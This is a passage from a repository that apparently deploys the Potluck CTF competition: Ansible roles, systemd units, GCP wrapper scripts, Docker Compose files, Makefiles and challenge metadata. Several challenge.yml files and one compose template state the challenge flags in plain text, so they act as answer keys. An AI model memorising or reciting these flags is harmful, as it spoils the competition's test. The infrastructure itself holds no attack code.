-------------------------------------------------------------------------------- /ansible/group_vars/challenge07.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge07" 2 | docker_privileged: false 3 | docker_port: 8000 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge09.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge09" 2 | docker_privileged: true 3 | docker_port: 31337 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge11.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge11" 2 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge12.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge12" 2 | docker_privileged: true 3 | docker_port: 5000 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge13.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge13" 2 | docker_privileged: false 3 | docker_port: 31337 4 | docker_tty: true 5 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge15.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge15" 2 | docker_privileged: false 3 | docker_port: 8080 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge17.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge17" 2 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge18.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge18" 2 | docker_privileged: false 3 | docker_port: 31337 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge19.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge19" 2 | docker_privileged: false 3 | docker_port: 2727 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge21.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge21" 2 | docker_privileged: false 3 | docker_port: 9999 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge22.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge22" 2 | docker_privileged: false 3 | docker_port: 1337 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge24.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge24" 2 | docker_privileged: false 3 | docker_port: 80 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge25.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge25" 2 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge26.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge26" 2 | docker_privileged: false 3 | docker_port: 1337 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge27.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge27" 2 | docker_privileged: true 3 | docker_port: 5000 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge28.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge28" 2 | docker_privileged: true 3 | docker_port: 5000 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge29.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge29" 2 | docker_privileged: false 3 | docker_port: 5000 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge30.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge30" 2 | docker_privileged: false 3 | docker_port: 1337 4 | -------------------------------------------------------------------------------- /ansible/misc/gcp-scp-wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This is a wrapper script allowing to use GCP's IAP option to connect 3 | # to our servers. 4 | 5 | # Ansible passes a large number of SSH parameters along with the hostname as the 6 | # second to last argument and the command as the last. We will pop the last two 7 | # arguments off of the list and then pass all of the other SSH flags through 8 | # without modification: 9 | host="${@: -2: 1}" 10 | cmd="${@: -1: 1}" 11 | 12 | # Unfortunately ansible has hardcoded scp options, so we need to filter these out 13 | # It's an ugly hack, but for now we'll only accept the options starting with '--' 14 | declare -a opts 15 | for scp_arg in "${@: 1: $# -3}" ; do 16 | if [[ "${scp_arg}" == --* ]] ; then 17 | opts+="${scp_arg} " 18 | fi 19 | done 20 | 21 | # Remove [] around our host, as gcloud scp doesn't understand this syntax 22 | cmd=`echo "${cmd}" | tr -d []` 23 | 24 | exec gcloud compute scp $opts "${host}" "${cmd}" 25 | -------------------------------------------------------------------------------- /ansible/misc/gcp-ssh-wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This is a wrapper script allowing to use GCP's IAP SSH option to connect 3 | # to our servers. 4 | 5 | # Ansible passes a large number of SSH parameters along with the hostname as the 6 | # second to last argument and the command as the last. We will pop the last two 7 | # arguments off of the list and then pass all of the other SSH flags through 8 | # without modification: 9 | host="${@: -2: 1}" 10 | cmd="${@: -1: 1}" 11 | 12 | # Unfortunately ansible has hardcoded ssh options, so we need to filter these out 13 | # It's an ugly hack, but for now we'll only accept the options starting with '--' 14 | declare -a opts 15 | for ssh_arg in "${@: 1: $# -3}" ; do 16 | if [[ "${ssh_arg}" == --* ]] ; then 17 | opts+="${ssh_arg} " 18 | fi 19 | done 20 | 21 | exec gcloud compute ssh $opts "${host}" -- -C "${cmd}" 22 | -------------------------------------------------------------------------------- /ansible/roles/challenge-01/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: Change KVM permissions 2 | become: true 3 | ansible.builtin.file: 4 | path: /dev/kvm 5 | owner: root 6 | group: root 7 | mode: '666' 8 | -------------------------------------------------------------------------------- /ansible/roles/challenge-11/files/challenge11.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Potluck CTF Challenge 11 3 | After=docker.service 4 | Requires=docker.service 5 | 6 | [Service] 7 | Type=simple 8 | ExecStart=/bin/bash -c "docker compose -f /etc/potluckctf/docker-compose.yml up" 9 | ExecStop=/bin/bash -c "docker compose -f /etc/potluckctf/docker-compose.yml stop" 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /ansible/roles/challenge-11/files/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "credHelpers": { 3 | "europe-west3-docker.pkg.dev": "gcloud" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /ansible/roles/challenge-11/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart challenge11 2 | become: true 3 | ansible.builtin.service: 4 | name: challenge11 5 | state: restarted 6 | 7 | - name: daemon-reload 8 | become: true 9 | ansible.builtin.systemd: 10 | daemon_reload: true 11 | -------------------------------------------------------------------------------- /ansible/roles/challenge-11/templates/docker-compose.yml.j2: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | nginx: 4 | image: "europe-west3-docker.pkg.dev/potluck-ctf/{{ challenge }}-repository/{{ challenge }}-nginx:latest" 5 | ports: 6 | - 31337:80 7 | depends_on: 8 | - php 9 | - bot 10 | 11 | php: 12 | image: "europe-west3-docker.pkg.dev/potluck-ctf/{{ challenge }}-repository/{{ challenge }}-php:latest" 13 | 14 | bot: 15 | image: "europe-west3-docker.pkg.dev/potluck-ctf/{{ challenge }}-repository/{{ challenge }}-bot:latest" 16 | environment: 17 | - FLAG="potluck{uu_make_me_go_crazy}" 18 | depends_on: 19 | - php 20 | -------------------------------------------------------------------------------- /ansible/roles/challenge-17/files/challenge17.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Potluck CTF Challenge 17 3 | After=docker.service 4 | Requires=docker.service 5 | 6 | [Service] 7 | Type=simple 8 | ExecStart=/bin/bash -c "docker compose -f /etc/potluckctf/docker-compose.yml up" 9 | ExecStop=/bin/bash -c "docker compose -f /etc/potluckctf/docker-compose.yml stop" 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /ansible/roles/challenge-17/files/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "credHelpers": { 3 | "europe-west3-docker.pkg.dev": "gcloud" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /ansible/roles/challenge-17/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart challenge17 2 | become: true 3 | ansible.builtin.service: 4 | name: challenge17 5 | state: restarted 6 | 7 | - name: daemon-reload 8 | become: true 9 | ansible.builtin.systemd: 10 | daemon_reload: true 11 | -------------------------------------------------------------------------------- /ansible/roles/challenge-17/templates/docker-compose.yml.j2: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | interface: 5 | image: interface:latest 6 | restart: always 7 | cap_add: 8 | - NET_ADMIN 9 | privileged: True 10 | pid: "host" 11 | network_mode: "host" 12 | expose: 13 | - 31337 14 | environment: 15 | POW_INIT_TIMEOUT: 300 16 | POW_TIMEOUT: 900 17 | POW_PREFIX_LEN: 32 18 | POW_DIFFICULTY: 25 19 | volumes: 20 | - /var/run/docker.sock:/var/run/docker.sock 21 | - /var/run/docker:/var/run/docker 22 | - ./data:/data 23 | 24 | cleanup: 25 | image: interface:latest 26 | restart: always 27 | cap_add: 28 | - NET_ADMIN 29 | privileged: True 30 | pid: "host" 31 | network_mode: "host" 32 | command: ['python3', '-u', './cleanup.py'] 33 | volumes: 34 | - /var/run/docker.sock:/var/run/docker.sock 35 | - /var/run/docker:/var/run/docker 36 | - ./data:/data 37 | -------------------------------------------------------------------------------- /ansible/roles/challenge-25/files/challenge25.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=challeng25 server 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=challenge25 8 | Group=challenge25 9 | WorkingDirectory=/opt/challenge25 10 | ExecStart=/usr/bin/python3 server.py 28 600 ./run.sh 11 | Restart=always 12 | 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /ansible/roles/challenge-25/files/deploy_bundle.tar.gz: -------------------------------------------------------------------------------- 1 | ../../../../challenge-deployment/challenge-25/downloads/deploy_bundle.tar.gz -------------------------------------------------------------------------------- /ansible/roles/challenge-25/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: daemon-reload 2 | become: true 3 | ansible.builtin.systemd: 4 | daemon_reload: true 5 | 6 | - name: restart challenge25 7 | become: true 8 | ansible.builtin.service: 9 | name: challenge25 10 | state: restarted 11 | -------------------------------------------------------------------------------- /ansible/roles/challenge-docker/files/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "credHelpers": { 3 | "europe-west3-docker.pkg.dev": "gcloud" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /ansible/roles/docker/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart docker 2 | become: true 3 | ansible.builtin.service: 4 | name: docker 5 | state: restarted 6 | -------------------------------------------------------------------------------- /ansible/roles/docker/templates/daemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "log-driver": "syslog", 3 | "log-opts": { 4 | "syslog-facility": "daemon", 5 | "tag": "docker/{{ '{{.Name}}' }}" 6 | }, 7 | "insecure-registries": [] 8 | } 9 | -------------------------------------------------------------------------------- /ansible/roles/grafana/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart grafana 2 | become: true 3 | ansible.builtin.service: 4 | name: grafana-server 5 | state: restarted 6 | -------------------------------------------------------------------------------- /ansible/roles/grafana/tasks/main.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Install Grafana dependencies 3 | become: true 4 | ansible.builtin.apt: 5 | cache_valid_time: 3600 6 | state: present 7 | name: 8 | - adduser 9 | - libfontconfig1 10 | - musl 11 | 12 | - name: Install Grafana 13 | become: true 14 | ansible.builtin.apt: 15 | cache_valid_time: 3600 16 | state: present 17 | deb: https://dl.grafana.com/enterprise/release/grafana-enterprise_10.2.2_amd64.deb 18 | notify: restart grafana 19 | -------------------------------------------------------------------------------- /ansible/roles/graylog/files/disable-transparent-huge-pages.service: -------------------------------------------------------------------------------- 1 | Description=Disable Transparent Huge Pages (THP) 2 | DefaultDependencies=no 3 | After=sysinit.target local-fs.target 4 | [Service] 5 | Type=oneshot 6 | ExecStart=/bin/sh -c 'echo never | tee /sys/kernel/mm/transparent_hugepage/enabled > /dev/null' 7 | [Install] 8 | WantedBy=basic.target 9 | -------------------------------------------------------------------------------- /ansible/roles/graylog/files/graylog-server.service: -------------------------------------------------------------------------------- 1 | [Service] 2 | AmbientCapabilities=CAP_NET_BIND_SERVICE 3 | -------------------------------------------------------------------------------- /ansible/roles/graylog/files/opensearch.yml: -------------------------------------------------------------------------------- 1 | cluster.name: graylog 2 | node.name: ${HOSTNAME} 3 | path.data: /var/lib/opensearch 4 | path.logs: /var/log/opensearch 5 | discovery.type: single-node 6 | network.host: 127.0.0.1 7 | action.auto_create_index: false 8 | plugins.security.disabled: true 9 | -------------------------------------------------------------------------------- /ansible/roles/graylog/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: daemon-reload 2 | become: true 3 | ansible.builtin.systemd: 4 | daemon_reload: true 5 | 6 | - name: restart graylog 7 | become: true 8 | ansible.builtin.service: 9 | name: graylog-server 10 | state: restarted 11 | -------------------------------------------------------------------------------- /ansible/roles/nginx/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart nginx 2 | become: true 3 | ansible.builtin.service: 4 | name: nginx 5 | state: restarted 6 | -------------------------------------------------------------------------------- /ansible/roles/nginx/tasks/main.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Install nginx 3 | become: true 4 | ansible.builtin.apt: 5 | cache_valid_time: 3600 6 | state: present 7 | name: 8 | - nginx 9 | -------------------------------------------------------------------------------- /ansible/roles/node_exporter/files/node_exporter.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Node Exporter 3 | Requires=node_exporter.socket 4 | 5 | [Service] 6 | User=node_exporter 7 | EnvironmentFile=/etc/sysconfig/node_exporter 8 | ExecStart=/usr/sbin/node_exporter --web.systemd-socket $OPTIONS 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | -------------------------------------------------------------------------------- /ansible/roles/node_exporter/files/node_exporter.socket: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Node Exporter 3 | 4 | [Socket] 5 | ListenStream=9100 6 | 7 | [Install] 8 | WantedBy=sockets.target 9 | -------------------------------------------------------------------------------- /ansible/roles/node_exporter/files/sysconfig.node_exporter: -------------------------------------------------------------------------------- 1 | OPTIONS="--collector.textfile.directory /var/lib/node_exporter/textfile_collector" 2 | -------------------------------------------------------------------------------- /ansible/roles/node_exporter/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: daemon-reload 2 | become: true 3 | ansible.builtin.systemd: 4 | daemon_reload: true 5 | 6 | - name: restart node_exporter 7 | become: true 8 | ansible.builtin.service: 9 | name: node_exporter 10 | state: restarted 11 | -------------------------------------------------------------------------------- /ansible/roles/prometheus/files/prometheus.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Prometheus 3 | Wants=network-online.target 4 | After=network-online.target 5 | 6 | [Service] 7 | User=prometheus 8 | Group=prometheus 9 | Type=simple 10 | ExecStart=/usr/local/bin/prometheus \ 11 | --config.file /etc/prometheus/prometheus.yml \ 12 | --storage.tsdb.path /var/lib/prometheus/ \ 13 | --web.console.templates=/etc/prometheus/consoles \ 14 | --web.console.libraries=/etc/prometheus/console_libraries 15 | 16 | [Install] 17 | WantedBy=multi-user.target 18 | -------------------------------------------------------------------------------- /ansible/roles/prometheus/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: daemon-reload 2 | become: true 3 | ansible.builtin.systemd: 4 | daemon_reload: true 5 | 6 | - name: restart prometheus 7 | become: true 8 | ansible.builtin.service: 9 | name: prometheus 10 | state: restarted 11 | -------------------------------------------------------------------------------- /ansible/roles/rsyslog/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart rsyslog 2 | become: true 3 | ansible.builtin.service: 4 | name: rsyslog 5 | state: restarted 6 | -------------------------------------------------------------------------------- /ansible/roles/rsyslog/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: Install rsyslog 2 | become: true 3 | ansible.builtin.apt: 4 | cache_valid_time: 3600 5 | state: present 6 | name: 7 | - rsyslog 8 | 9 | - name: Send logs to monitor server 10 | become: true 11 | ansible.builtin.template: 12 | src: 20-send-logs.conf 13 | dest: /etc/rsyslog.d/20-send-logs.conf 14 | owner: root 15 | group: root 16 | mode: '644' 17 | notify: restart rsyslog 18 | -------------------------------------------------------------------------------- /ansible/roles/rsyslog/templates/20-send-logs.conf: -------------------------------------------------------------------------------- 1 | *.* @@{{ syslog_server }}:514 2 | -------------------------------------------------------------------------------- /ansible/roles/scoreboard/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: Create scoreboard group 2 | become: true 3 | ansible.builtin.group: 4 | name: scoreboard 5 | state: present 6 | 7 | - name: Create scoreboard user 8 | become: true 9 | ansible.builtin.user: 10 | name: scoreboard 11 | group: scoreboard 12 | comment: scoreboard 13 | create_home: no 14 | shell: /usr/sbin/nologin 15 | state: present 16 | system: true 17 | -------------------------------------------------------------------------------- /ansible/roles/serversetup/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart sshd 2 | ansible.builtin.service: 3 | name: sshd 4 | state: restarted 5 | -------------------------------------------------------------------------------- /ansible/roles/serversetup/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: Placeholder common task 2 | ansible.builtin.debug: 3 | msg: "User setup etc can go here" 4 | 5 | # TODO (P2): How to manage multiple interfaces in a sane way? 6 | #- name: Make SSHd listen only on all interfaces 7 | # become: true 8 | # ansible.builtin.copy: 9 | # dest: /etc/ssh/sshd_config.d/listen_all.conf 10 | # content: "ListenAddress 0.0.0.0" 11 | # notify: restart sshd 12 | -------------------------------------------------------------------------------- /challenge-delivery/notes.txt: -------------------------------------------------------------------------------- 1 | TODO: convert the GCP stuff into gcloud commands 2 | 3 | 1. Create Discord role "challenge-X" 4 | 2. Create Discord channel with access for "challenge-X" 5 | 3. Create GCP SA named "Challenge Author X", description: "Used to deliver challenge X", id: "challenge-author-X" 6 | 4. Create GCP bucket named "potluckctf-challenge-X" 7 | a. Edit Access 8 | b. Principal: challenge-author-X 9 | c. Role: Storage Admin 10 | 5. Create SA key 11 | a. Download and share in Discord 12 | -------------------------------------------------------------------------------- /challenge-deployment/Makefile: -------------------------------------------------------------------------------- 1 | 2 | clean: 3 | make -C challenge-00 clean 4 | make -C challenge-01 clean 5 | # make -C challenge-03 clean 6 | make -C challenge-04 clean 7 | make -C challenge-05 clean 8 | make -C challenge-06 clean 9 | make -C challenge-07 clean 10 | make -C challenge-08 clean 11 | make -C challenge-09 clean 12 | make -C challenge-11 clean 13 | make -C challenge-12 clean 14 | make -C challenge-13 clean 15 | # make -C challenge-14 clean 16 | make -C challenge-15 clean 17 | make -C challenge-16 clean 18 | # make -C challenge-17 clean 19 | make -C challenge-18 clean 20 | make -C challenge-19 clean 21 | make -C challenge-21 clean 22 | make -C challenge-22 clean 23 | make -C challenge-23 clean 24 | make -C challenge-24 clean 25 | make -C challenge-25 clean 26 | make -C challenge-26 clean 27 | make -C challenge-27 clean 28 | make -C challenge-28 clean 29 | make -C challenge-29 clean 30 | 31 | pushall: 32 | challtools allchalls push --skip-files --skip-container-push 33 | 34 | .PHONY: clean pushall 35 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-00/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu AS app 2 | RUN apt-get update && apt-get install -y cowsay && rm -rf /var/lib/apt/lists/* 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY cowsay.sh /srv/app/run 7 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-00/Makefile: -------------------------------------------------------------------------------- 1 | CHALLENGE_ID = 00 2 | LOCAL_IMAGE = potluckctf:challenge-$(CHALLENGE_ID) 3 | REMOTE_IMAGE = europe-west3-docker.pkg.dev/potluck-ctf/challenge$(CHALLENGE_ID)-repository/challenge$(CHALLENGE_ID):latest 4 | 5 | build: docker-build 6 | 7 | docker-build: Dockerfile cowsay.sh 8 | docker build -t $(LOCAL_IMAGE) . 9 | 10 | docker-push: docker-build 11 | docker tag $(LOCAL_IMAGE) $(REMOTE_IMAGE) 12 | docker push $(REMOTE_IMAGE) 13 | 14 | clean: 15 | 16 | .PHONY: docker-build docker-push 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-00/challenge.yml: -------------------------------------------------------------------------------- 1 | title: "Welcome!" 2 | description: "Welcome to the Potluck CTF. The flag is potluck{lets-get-the-party-started}" 3 | authors: ZetaTwo 4 | categories: misc 5 | 6 | flag_format_prefix: potluck{ 7 | flags: lets-get-the-party-started 8 | 9 | spec: 0.0.1 10 | challenge_id: 5c64d69b-40f7-40cb-90e3-c3049d7ca6ff 11 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-00/cowsay.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | printf "cow input: " 4 | head -n 1 | /usr/games/cowsay 5 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-01/.gitignore: -------------------------------------------------------------------------------- 1 | challenge01-dist.tgz 2 | cake-of-paranoia-with-flag 3 | Dockerfile 4 | entrypoint.sh 5 | README.md 6 | rootfs.tar.zst 7 | solve-scripts/ 8 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-01/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Cake of Paranoia 2 | description: "A layer cake of paranoia. Please enjoy, and don't be afraid to take seconds. 3 | 4 | Top tip: Due to restrictions caused by virtualisation, you may need to limit your transfer rate when submitting large payloads to the server. Consider compression!" 5 | authors: Addison Crump 6 | categories: sandbox 7 | 8 | flag_format_prefix: potluck{ 9 | flags: sometimes-we-all-get-in-a-little-over-our-heads-dont-we 10 | 11 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge01-dist.tgz 12 | predefined_services: 13 | - type: tcp 14 | host: challenge01.play.potluckctf.com 15 | port: 31337 16 | 17 | spec: 0.0.1 18 | challenge_id: 88aaf274-b2e7-42cb-a042-d5831ccee6a4 19 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-03/.gitignore: -------------------------------------------------------------------------------- 1 | challenge03-dist.tgz 2 | Dockerfile 3 | Cargo.lock 4 | Cargo.toml 5 | ctf.xinetd 6 | dist.tar.gz 7 | Dockerfile 8 | flag.txt 9 | solve/ 10 | src/ 11 | start.sh 12 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-03/challenge.yml: -------------------------------------------------------------------------------- 1 | title: abc 2 | description: "Alice, Bob, and Charlie are coordinating a potluck." 3 | authors: dorian 4 | categories: cryptography 5 | 6 | flag_format_prefix: potluck{ 7 | flags: 192_DisCr3te_L0g_I$_5upr1sing1y_triVi4l@!@!! 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge03-dist.tgz 10 | predefined_services: 11 | - type: tcp 12 | host: challenge03.play.potluckctf.com 13 | port: 31337 14 | 15 | spec: 0.0.1 16 | challenge_id: 5cb35e8a-f51d-45fc-8d96-28327eb023f4 17 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-04/.gitignore: -------------------------------------------------------------------------------- 1 | challenge04-linux-dist.tgz 2 | challenge04-mac-dist.tgz 3 | challenge04-windows-dist.tgz 4 | charming-circuit-challenge-linux.zip 5 | charming-circuit-challenge-mac.zip 6 | charming-circuit-challenge-windows.zip 7 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-04/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Charming Circuit Challenge 2 | description: Last week I had a fever dream about Brian Silverman's excessive love of Christmas lights. When I came to my senses this program was on my computer. I don't know what it does. Can you help me? 3 | authors: Tethys & kriztw 4 | categories: reversing 5 | 6 | flag_format_prefix: potluck{ 7 | flags: "26674715172" 8 | 9 | downloadable_files: 10 | - https://storage.googleapis.com/potluckctf/challenge04-windows-dist.tgz 11 | - https://storage.googleapis.com/potluckctf/challenge04-mac-dist.tgz 12 | - https://storage.googleapis.com/potluckctf/challenge04-linux-dist.tgz 13 | 14 | spec: 0.0.1 15 | challenge_id: e6b01e6a-e6b1-4f18-9a0f-4ed1fe0124aa 16 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-05/.gitignore: -------------------------------------------------------------------------------- 1 | challenge05-dist.tgz 2 | README.md 3 | exp/ 4 | docker/ 5 | config/admin.properties 6 | build.sh 7 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-05/challenge.yml: -------------------------------------------------------------------------------- 1 | title: savaoury 2 | description: "The author did not provide a description. Good luck!" 3 | authors: thegrandpew - Blue Water 4 | categories: web 5 | 6 | flag_format_prefix: potluck{ 7 | flags: Its_Raining_0days_13E7 8 | 9 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge05-dist.tgz 10 | predefined_services: 11 | - type: website 12 | url: http://challenge05.play.potluckctf.com:31337 13 | 14 | spec: 0.0.1 15 | challenge_id: e5e51a2d-3f3d-4dc1-8462-052f51cc1bcb 16 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-06/.gitignore: -------------------------------------------------------------------------------- 1 | release_build/ 2 | release_source/ 3 | OTHER_LICENSES 4 | README.md 5 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-06/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | COPY release_build /usr/share/nginx/html 4 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-06/Makefile: -------------------------------------------------------------------------------- 1 | CHALLENGE_ID = 06 2 | LOCAL_IMAGE = potluckctf:challenge-$(CHALLENGE_ID) 3 | REMOTE_IMAGE = europe-west3-docker.pkg.dev/potluck-ctf/challenge$(CHALLENGE_ID)-repository/challenge$(CHALLENGE_ID):latest 4 | # No leading zero 5 | DELIVERY_BUCKET = gs://potluckctf-challenge-6 6 | 7 | build: docker-build docker-push 8 | 9 | docker-build: release_build/ Dockerfile 10 | docker build -t $(LOCAL_IMAGE) . 11 | 12 | docker-push: docker-build 13 | docker tag $(LOCAL_IMAGE) $(REMOTE_IMAGE) 14 | docker push $(REMOTE_IMAGE) 15 | 16 | clean: 17 | rm -fr OTHER_LICENSES README.md release_build/ release_source/ 18 | 19 | download: OTHER_LICENSES README.md release_build/ release_source/ 20 | 21 | OTHER_LICENSES: 22 | gcloud storage cp $(DELIVERY_BUCKET)/OTHER_LICENSES . 23 | 24 | README.md: 25 | gcloud storage cp $(DELIVERY_BUCKET)/README.md . 26 | 27 | release_build/: 28 | gcloud storage cp -r $(DELIVERY_BUCKET)/release_build/ . 29 | 30 | release_source/: 31 | gcloud storage cp -r $(DELIVERY_BUCKET)/release_source/ . 32 | 33 | .PHONY: build docker-build docker-push dist dist-push download 34 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-06/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Hypertext O's 2 | description: "Who needs a local file system anyways." 3 | authors: Leeky 4 | categories: reversing 5 | 6 | flag_format_prefix: potluck{ 7 | flags: th3_1nt3rn3t_1s_my_f1l3syst3m 8 | 9 | custom_service_types: 10 | - type: command 11 | display: "qemu-system-i386 -boot n -device e1000,netdev=mynet0 -netdev user,id=mynet0,bootfile={url}" 12 | hyperlink: false 13 | 14 | predefined_services: 15 | - type: command 16 | url: "http://challenge06.play.potluckctf.com:31337" 17 | 18 | spec: 0.0.1 19 | challenge_id: bd60ce32-ddee-49c8-9c6b-614fac4b39fd 20 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-07/.gitignore: -------------------------------------------------------------------------------- 1 | challenge07-dist.tgz 2 | deploy/ 3 | public/ 4 | solution/ 5 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-07/challenge.yml: -------------------------------------------------------------------------------- 1 | title: bear-err 2 | description: "People always say crypto is so hard, but I'm sure I didn't fuck up there. Parsing JSON is super easy too, just use strtok." 3 | authors: Firzen 4 | categories: 5 | - pwn 6 | - web 7 | 8 | flag_format_prefix: potluck{ 9 | flags: what_do_you_mean_global_state_bad? 10 | 11 | downloadable_files: https://storage.googleapis.com/potluckctf/challenge07-dist.tgz 12 | predefined_services: 13 | - type: website 14 | url: http://challenge07.play.potluckctf.com:31337 15 | 16 | spec: 0.0.1 17 | challenge_id: a5596915-06fa-440b-9e92-b49f57388226 18 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-08/.gitignore: -------------------------------------------------------------------------------- 1 | enchiladas.csv 2 | terraform.txt 3 | challenge08-dist.tgz 4 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-08/Makefile: -------------------------------------------------------------------------------- 1 | CHALLENGE_ID = 08 2 | # No leading zero 3 | DELIVERY_BUCKET = gs://potluckctf-challenge-8 4 | DIST_FILE = challenge$(CHALLENGE_ID)-dist.tgz 5 | 6 | build: terraform.txt dist 7 | 8 | dist: $(DIST_FILE) 9 | 10 | dist-push: dist 11 | gcloud storage cp $(DIST_FILE) gs://potluckctf 12 | 13 | dist-url: 14 | gcloud storage sign-url --region europe --impersonate-service-account challenge-distribution@potluck-ctf.iam.gserviceaccount.com --duration 7d gs://potluckctf/$(DIST_FILE) 15 | 16 | clean: 17 | rm -f ctfdescription.txt enchiladas.csv main.rs 18 | 19 | download: ctfdescription.txt enchiladas.csv main.rs 20 | 21 | $(DIST_FILE): enchiladas.mxc 22 | tar -czvf $(DIST_FILE) enchiladas.mxc 23 | 24 | ctfdescription.txt: 25 | gcloud storage cp $(DELIVERY_BUCKET)/ctfdescription.txt . 26 | 27 | terraform.txt: enchiladas.csv convert-terraform.py 28 | python3 convert-terraform.py enchiladas.csv > terraform.txt 29 | 30 | enchiladas.csv: 31 | gcloud storage cp $(DELIVERY_BUCKET)/enchiladas.csv . 32 | 33 | main.rs: 34 | gcloud storage cp $(DELIVERY_BUCKET)/main.rs . 35 | 36 | .PHONY: build download 37 | -------------------------------------------------------------------------------- /challenge-deployment/challenge-08/challenge.yml: -------------------------------------------------------------------------------- 1 | title: Enchiladas 2 | description: "Ever been to Mexico? Here is your ticket: https://github.com/maride/mexico" 3 | authors: noobtracker, hanemile, maride 4 | categories: reversing 5 | 6 | flag_format_prefix: potluck{ 7 | flags: estas_muy_bien 8 | 9 | downloadable_files: 